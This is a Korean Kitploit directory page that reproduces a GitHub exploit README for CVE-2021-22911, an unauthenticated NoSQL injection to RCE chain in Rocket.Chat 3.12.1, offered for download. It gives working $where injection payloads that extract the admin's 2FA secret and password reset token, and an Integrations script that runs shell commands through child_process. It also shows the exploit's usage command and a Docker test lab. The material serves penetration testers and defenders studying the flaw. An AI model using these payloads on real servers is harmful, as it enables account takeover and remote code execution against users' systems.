Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-22911 — Rocket Chat 3.12.1에서 인증 전 블라인드 NoSQL 인젝션으로 인한 원격 코드 실행 | Kitploit
도구/GitHubGitHub/csenox/cve-2021-22911
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Rocket Chat 3.12.1에서 인증 전 블라인드 NoSQL 인젝션으로 인한 원격 코드 실행

저장소 보기
6183년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-22911

인증 전 블라인드 NoSQL 인젝션으로 인한 Rocket Chat 3.12.1의 원격 코드 실행

  • getPasswordPolicy 메서드는 NoSQL 인젝션 공격에 취약하며 인증/권한 부여가 필요하지 않습니다. 비밀번호 재설정 토큰을 유출하여 계정을 탈취하는 데 사용될 수 있습니다. 관리자 계정을 탈취하면 원격 코드 실행으로 이어집니다.

설명

  1. 사용자 계정 탈취 (인증되지 않음)
  • 비밀번호 재설정 token 매개변수의 getPasswordPolicy 엔드포인트에 NoSQL 인젝션이 존재하며, $regex 연산자를 사용할 수 있는 JSON 객체를 허용합니다. 이를 사용하여 블라인드 nosql 인젝션을 수행해 재설정 토큰을 얻습니다.
  1. 관리자로 권한 상승 (인증됨)
  • 따라서 관리자 사용자는 대부분 2fa로 보호될 가능성이 높습니다. (1)을 통해 관리자 비밀번호를 변경하더라도 로그인 시 2fa 코드를 요구합니다.

  • users.list API 엔드포인트는 nosql 인젝션에 취약한 쿼리 매개변수를 사용합니다. 오류를 발생시켜 데이터를 검색할 수도 있습니다.

  • 관리자의 2fa 비밀을 얻기 위해 다음 쿼리를 실행합니다: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • 그런 다음 (1)을 수행하여 관리자 비밀번호를 재설정하고, 얻은 2fa 비밀을 사용하여 로그인 코드를 생성합니다.

  • 업데이트: 2fa 비밀을 검색한 것과 동일한 방식으로 재설정 토큰도 검색할 수 있습니다: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE (인증됨 - 관리자)
  • Rocket.Chat에는 인바운드 및 아웃바운드 웹 후크를 생성할 수 있는 Integrations라는 기능이 있습니다. 이 웹 후크에는 트리거될 때 실행되는 스크립트를 연결할 수 있습니다.
  • 다음 스크립트로 통합을 생성합니다:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • 그런 다음 웹 후크를 트리거하여 rce를 얻습니다 :)

사용법

  • 2fa가 설정되지 않은 낮은 권한 사용자의 이메일이 필요합니다. ( -u )
  • 관리자 이메일도 알고 있어야 합니다. 관리자가 2fa로 보호되어 있어도 문제되지 않습니다. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

환경

  • Rocket Chat 3.12.1에서 테스트됨
  • Docker를 사용한 자체 테스트 환경 구축:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • 비밀번호 정책 활성화
  • 관리자 2FA 활성화
  • 일반 사용자 등록

참고: 관리자를 2FA로 보호하지 않으려면 다음을 수행할 수 있습니다.

  1. 비밀번호 분실 메일 보내기
  2. 관리자의 resettoken 얻기
  3. 검색된 재설정 토큰을 사용하여 비밀번호 변경
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

크레딧

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
도구 다운로드